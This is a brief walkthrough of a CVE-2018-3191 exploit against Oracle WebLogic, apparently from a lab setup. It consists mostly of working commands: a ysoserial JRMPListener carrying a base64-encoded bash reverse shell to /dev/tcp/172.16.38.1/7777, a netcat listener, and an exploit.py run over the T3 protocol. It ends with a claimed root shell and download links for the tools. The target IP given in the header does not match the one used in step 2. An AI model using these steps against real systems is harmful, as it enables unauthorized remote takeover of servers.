CVE-2018-3191

CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001

1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'

Then execute nc -lvv 7777

(1) The bash command here is base64-encoded and decoded to prevent special symbols from being escaped during Runtime.getRuntime().exec() execution. The plaintext is bash -i >& /dev/tcp/172.16.38.1/7777 0>&1 (2) This operation sets up a JRMPListener locally, receives the request from the attacked WebLogic, and executes the specified bash reverse shell command. (3) Nc listens on 7777 waiting for the WebLogic host to connect back with a reverse bash shell. 2. Execute python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222, exploiting the vulnerability to make WebLogic access the remote RMI service and execute the bash reverse shell command.

3. The port listened on by nc receives the reverse bash shell, with root privileges.

Tools required for the attack: ysoserial-master.jar // Deserialization exploitation tool https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar weblogic-spring-jndi-10.3.6.0.jar // CVE-2018-3191 payload generation tool https://github.com/voidfyoo/CVE-2018-3191/releases exploit.py // weblogic t3 protocol sending tool, integrated with CVE-2018-3191 payload